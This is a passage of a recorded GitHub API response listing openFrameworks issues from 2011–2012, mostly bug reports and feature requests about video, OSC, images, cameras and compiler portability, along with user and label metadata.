for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too (win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem 